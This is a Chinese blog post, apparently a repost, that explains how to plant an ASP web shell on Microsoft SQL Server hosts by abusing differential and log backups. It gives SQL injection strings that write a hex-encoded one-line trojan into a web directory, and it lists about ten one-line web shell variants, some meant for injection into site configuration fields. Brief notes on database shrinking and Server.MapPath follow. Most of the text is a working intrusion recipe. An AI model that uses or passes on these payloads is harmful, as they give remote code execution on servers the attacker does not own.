1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = ‘c:\ddd.bak’;–
2.创建表并插曲入数据
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);–
backup database 库名 to disk=’目标位置\d.asp’ WITH DIFFERENTIAL,FORMAT;–
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:<%execute(request(“a”))%>
===================================================
利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:
0x3C25657865637574652872657175657374282261222929253E是<%execute(request(“a”))%>
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
<%execute(request(“a”))%>
===============================================================
=====================================================
另一种log增量备份技术:
9253EDA 是一句话小马16进制转来的
b)<%Execute(request(“a”))%>
c)%><%execute request(“a”)%><%
d)<script language=VBScript runat=server>execute request(“a”)</script>
e)<%25Execute(request(“a”))%25>
f)<%eval(request(“a”)):response.end%> 备分专用一句话 (也就是插入一句话后所有的代码都无效,在一句话这里打止)
g)”%><%eval (request (chr(309)))%><%'” 网站配置版权信息插马专用一句话
h)<%On Error Resume Next:response.clear:execute request(“value”):response.End%>
I)<%eval request(0)%>
J)”%><%Eval Request(0)%> 网站配置版权信息插马专用一句话
id=1;use model create table cmd(str image);insert into cmd(str) values (‘<%25execute(request(“a”))%25>’)
id=1;backup database model to disk=’你的路径‘ with differential,format;–
注:test为数据库名
DUMP TRANSACTION test WITH NO_LOG
BACKUP LOG test WITH NO_LOG
DBCC SHRINKDATABASE(test)
Select * from sysfiles DBCC SHRINKFILE(1)
EXEC sp_dboption ‘test’, ‘autoshrink’, ‘TRUE’差异备份的流程大概这样
Server.MapPath方法的应用方法
老是忘记Server.MapPath的使用方法了,下面记录一下,以备后用:
总注:Server.MapPath获得的路径都是服务器上的物理路径,也就是常说的绝对路径
1、Server.MapPath(“/”)
注:获得应用程序根目录所在的位置,如 C:\Inetpub\wwwroot\。
2、Server.MapPath(“./”)
注:获得所在页面的当前目录,等价于Server.MapPath(“”)。
3、Server.MapPath(“../”)
注:获得所在页面的上级目录。
4、Server.MapPath(“~/”)
注:获得当前应用级程序的目录,如果是根目录,就是根目录,如果是虚拟目录,就是虚拟目录所在的位置,如C:\Inetpub\wwwroot\Example\。
转载请注明:jinglingshu的博客 » MSsql差异备份总结